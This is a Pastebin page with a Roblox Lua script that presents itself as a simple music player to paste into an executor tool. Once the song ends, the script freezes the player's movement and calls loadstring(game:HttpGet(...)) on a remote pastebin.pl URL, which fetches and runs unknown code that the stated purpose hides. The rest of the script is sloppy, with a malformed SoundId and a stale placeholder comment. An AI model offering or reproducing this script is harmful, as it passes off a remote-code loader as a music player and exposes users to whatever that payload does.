Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- -- Non-Looping Music Player Script
- -- Paste this script into Delta Executor while running Roblox.
- -- Define the asset ID of the music you want to play.
- local musicId = "17429233290" -- Replace YOUR_ASSET_ID with your music's asset ID.
- -- Check if SoundService exists.
- local SoundService = game:GetService("SoundService")
- if not SoundService then
- warn("SoundService not found. Script cannot run.")
- return
- end
- -- Create a new Sound object.
- local sound = Instance.new("Sound")
- sound.SoundId = 17429233290
- sound.Looped = false -- Ensure the music doesn't loop.
- sound.Volume = 1 -- Set volume (1 is default, adjust as needed).
- -- Parent the sound to SoundService so it can play globally.
- sound.Parent = SoundService
- -- Play the sound.
- sound:Play()
- -- Automatically clean up the sound after it finishes.
- sound.Ended:Connect(function()
- sound:Destroy()
- print("Music has finished playing and was removed.")
- game.Players.LocalPlayer.Character.Humanoid.WalkSpeed = 0
- local player = game.Players.LocalPlayer
- repeat wait() until player.Character.Humanoid
- local humanoid = player.Character.Humanoid
- local character = player.Character or player.CharacterAdded:Wait()
- local UserInputService = game:GetService("UserInputService")
- loadstring(game:HttpGet("https://pastebin.pl/view/raw/36f3de44"))()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement